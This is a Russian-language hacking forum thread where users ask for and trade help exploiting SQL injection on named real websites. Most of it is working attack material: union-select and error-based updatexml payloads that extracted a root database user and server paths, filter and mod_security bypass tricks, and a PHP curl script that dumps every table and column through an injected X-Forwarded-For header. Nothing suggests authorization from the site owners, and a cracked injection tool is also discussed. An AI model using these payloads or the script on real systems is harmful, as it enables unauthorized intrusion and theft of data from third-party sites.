Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    нет там ничего...
     
  2. t3cHn0iD

    t3cHn0iD Banned

    Joined:
    6 Apr 2009
    Messages:
    313
    Likes Received:
    63
    Reputations:
    66
    2013 как default injection value выставляется как бы ;)

    Но все же консультация по использованию кракнутого автоматического эксплуататора sql инъекций с уязвимостями никак не вяжется и да, у него есть волшебный файл справки, который называется Help.chm, там есть такой волшебный раздел, который называется Basic Settings -> Injecting URL Rewrite Page
     
    #22482 t3cHn0iD, 14 Sep 2013
    Last edited: 14 Sep 2013
  3. Always

    Always New Member

    Joined:
    8 Feb 2012
    Messages:
    72
    Likes Received:
    3
    Reputations:
    0
    http://www.grafomanam.net/author/ADAMANASTAS'+order+by+17+--+
    http://www.grafomanam.net/author/ADAMANASTAS'+order+by+18+--+ ошибка
    не пойму что не так
    http://www.grafomanam.net/author/ADAMANASTAS'+/*!union*/+(select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17)+--+
     
  4. m00c0w

    m00c0w Banned

    Joined:
    25 Dec 2011
    Messages:
    104
    Likes Received:
    14
    Reputations:
    5
    Too many connections. Положили сканерами.
     
  5. kilo_star

    kilo_star New Member

    Joined:
    21 Apr 2013
    Messages:
    23
    Likes Received:
    1
    Reputations:
    0
    Запрос обрабатывается следующим скриптом:
    [​IMG]

    ?name=root'\**\or\**\1='1

    По идее \**\ должно работать как пробел или нет? Скуль не проходит. Как можно обойти?
     
  6. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Сайт на базе CMS Drupal
    Ищите готовые эксплоиты.
     
  7. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    root'or(1)='1
     
    _________________________
  8. kilo_star

    kilo_star New Member

    Joined:
    21 Apr 2013
    Messages:
    23
    Likes Received:
    1
    Reputations:
    0
    спасибо :) Так а с применением /**/ можно как-то обойти?
     
  9. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Рассмотрим данное регулярное выражение:
    PHP:
    if(preg_match('/\s+/'$_GET["name"])) {
         die(
    "ERROR NO SPACE");
    }
    В строке производится поиск по символьному классу \s, то есть любых пробельных символов - пробел, TAB, etc... Строка, которая их не содержит или строка, длина которой больше pcre.backtrack_limit (в случае с массивом POST) фильтрацию проходит.

    Использование /**/ возможно. Зависимости - mg=off поскольку sql-инъекция в кавычках.
     
    #22489 randman, 17 Sep 2013
    Last edited: 17 Sep 2013
    1 person likes this.
  10. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    WAF вырезает некоторые конструкции, а так-же полностью блокирует запрос по рейтингу вхождения в него опасных конструкций.

    Очень жестокие фильтры, очень много критериев, в том числе проверяется длина(49 символов):
    Code:
    http://www.grafomanam.net/author/ADAMANASTAS%27*updatexml(0,lpad([COLOR=Green]user()[/COLOR],[COLOR=DarkOrange]22[/COLOR],0x3A),1)%23
    
    General error: 1105 XPATH syntax error: '::::::::root@localhost'

    Все сжимал буквально по одному символу, на один символ больше - уже блок, зато юзер - root :D При WAF - очень редкое явление.

    UDP1:
    Code:
    http://www.grafomanam.net/author/ADAMANASTAS%27*updatexml(0,concat(0x3A,[COLOR=DarkOrange]user()[/COLOR]),1)%23
    
    В этом варианте concat так-же работает, если будет блок - воспользуйтесь вариантом выше.

    UDP2:
    Еще варианты сжатия:
    Code:
    При спец. символах в выводе:
    http://www.grafomanam.net/author/ADAMANASTAS%27*updatexml(0,[COLOR=DarkOrange]user()[/COLOR],1)%23
    
    Без них(Работает не всегда):
    http://www.grafomanam.net/author/ADAMANASTAS%27*updatexml(0,concat(':',[COLOR=DarkOrange]user()[/COLOR]),1)%23
    
    UDP4:
    Забыл про саму строку:
    Code:
    http://www.grafomanam.net/author/%27*updatexml(0,concat(':',[COLOR=DarkOrange]version()[/COLOR]),1)%23
    
    5.5.33-log

    Путь очень длинный:
    PHP:
    /usr/local/www/apache22/data/grafomanam/sites/index.php
    Если только блайндом таблицы выводить с брутом полей - на простой вывод идет очень много символов. MySQL на UNIX-сокете висит, так что удаленно не подключится. Или как вариант - обойти ЧПУ, если фильтр на длину в нем.
     
    #22490 randman, 17 Sep 2013
    Last edited: 17 Sep 2013
    4 people like this.
  11. none222

    none222 Guest

    Reputations:
    0
    что с этой скулей не так?
    __http://www.fuelthebrain.com/mini-books/print.php?bookID=1329876958' order by 11%23
     
  12. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.
    (в Вашем случае фильтруются union и select)

    Крутите,как слепую:
     
    #22492 YaBtr, 18 Sep 2013
    Last edited: 18 Sep 2013
  13. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Легче крутить с использованием вывода, второе и третье поля принтабельны:
    Code:
    1329876958'+/*!%0Dunion%0Dselect%0D*FROM(select 1) a1 join (select version()) a2 join (select 3) a3 join (select 4) a4 join (select 5) a5 join (select 6) a6 join (select 7) a7 join (select 8) a8 join (select 9) a9 join (select 10) a10 join (select 11) a11*/+--+
    PHP:
    Используем комментарий для обхода одного фильтра:
    /*!КОД*/

    Символ переноса для второго:
    /*!%0Dunion%0Dselect%0D*/

    И для третьего фильтра создаем собственную таблицу через подзапросыпсевдонимы и join:

    /*!%0Dunion%0Dselect%0D*FROM(select 1) a1 join (select version()) a2 join (select 3) a3 join (select 4) a4 join (select 5) a5 join (select 6) a6 join (select 7) a7 join (select 8) a8 join (select 9) a9 join (select 10) a10 join (select 11) a11*/
     
    #22493 randman, 18 Sep 2013
    Last edited: 8 Jul 2014
    3 people like this.
  14. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Вы что, в count(*) лимит перебираете? Работает, пример вывода таблиц с колонками:
    PHP:
    <?php
    $ch 
    curl_init();
    curl_setopt_array($ch, array(
        
    CURLOPT_URL => "http://site.ru/works/247964/",
        
    CURLOPT_RETURNTRANSFER => True,
        
    CURLOPT_ENCODING => 'gzip, deflate',
    ));

    for (
    $i=1true$i += 64) {
        
    //$main = 'version()';
        
    $main 'MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM information_schema.columns WHERE TABLE_SCHEMA !=0x696e666f726d6174696f6e5f736368656d61 and  @p:= CONCAT(@p,0x3B, TABLE_SCHEMA,0x3A,TABLE_NAME, 0x3A,COLUMN_NAME) ),@p),5)';
            
        
    $sql '1"or 1 group by concat( mid(('.$main.'),'.$i.',64), floor(rand(0)*2)) having min(0) or 1 #';
        
    $sql str_replace(" ""/**/"$sql);
        
        
    curl_setopt($chCURLOPT_HTTPHEADER, array("x-forwarded-for: ".$sql));
        
        
    $resp curl_exec($ch);
        
    $resp explode('Duplicate entry \''$resp2);
        echo 
    str_replace(";""\n"substr($resp[1], 064));
    }
    curl_close($ch);
    Выход: Ctrl+C. Запуск в консоли.
     
    #22494 randman, 19 Sep 2013
    Last edited: 19 Sep 2013
    1 person likes this.
  15. vsid55

    vsid55 Member

    Joined:
    4 Jan 2010
    Messages:
    49
    Likes Received:
    7
    Reputations:
    2
    Ошибка

    Ошибка при попытке подключиться к information_schema.tables
    +UNION+SELECT+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16+from+information_schema.tables/*

    Query Failed: Can't read dir of './test/' (errno: 13)
    Query:Select a.*, b.image_filename, b.image_width, b.image_height from AMJ_Article a left join AMJ_Article_Image b on (a.article_id = b.article_id and b.image_main = 1) where a.article_type = 'TRENDS' and a.article_id = 1 UNION SELECT 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16 from information_schema.tables/*
    Что это значит?
    версия 5.0.22
     
  16. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    пишет что не может прочитать дерикторрию тест, так как не хватает прав
     
    1 person likes this.
  17. cipa21

    cipa21 Elder - Старейшина

    Joined:
    9 Apr 2009
    Messages:
    548
    Likes Received:
    146
    Reputations:
    30
    Добрый день!
    при запросе:
    ?id=-4099+union+select+1,2,3,4,5,@@version,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33--
    версия выводится замечательно, но если мы заменим @@version на version(), то откроется просто белая страница, сервер фильтрует круглые скобки, невозможно обратиться ни к одной функции из-за этого. Как можно обойти данную проблему?
     
  18. cipa21

    cipa21 Elder - Старейшина

    Joined:
    9 Apr 2009
    Messages:
    548
    Likes Received:
    146
    Reputations:
    30
    -4099+0x756E696F6E2B73656C6563742B312C322C332C342C352C404076657273696F6E2C372C382C392C31302C31312C31322C31332C31342C31352C31362C31372C31382C31392C32302C32312C32322C32332C32342C32352C32362C32372C32382C32392C33302C33312C33322C3333

    Ничего не дало.
     
  19. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Version () захекси, а не всю адресную строку.
     
    _________________________
  20. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Вариант 1: Не использовать функции
    Вариант 2: Проверить, попадают ли данные из какой-либо колонки в другой запрос, и есть ли там инъекция. Если да - то можно обойти фильтр посылая данные второй инъекции хексом в колонку.
    Вариант 3: NULL-byte, не соответствующие друг другу скобки, Комментарии /*! SQL*/, Символ переноса строки между скобками при фильтре парных скобок version(%0A%0D), etc
    В MySQL хекс используется только для строк. Захексить функцию, или весь запрос вам не удастся.
     
    #22500 randman, 22 Sep 2013
    Last edited: 22 Sep 2013
    2 people like this.
Thread Status:
Not open for further replies.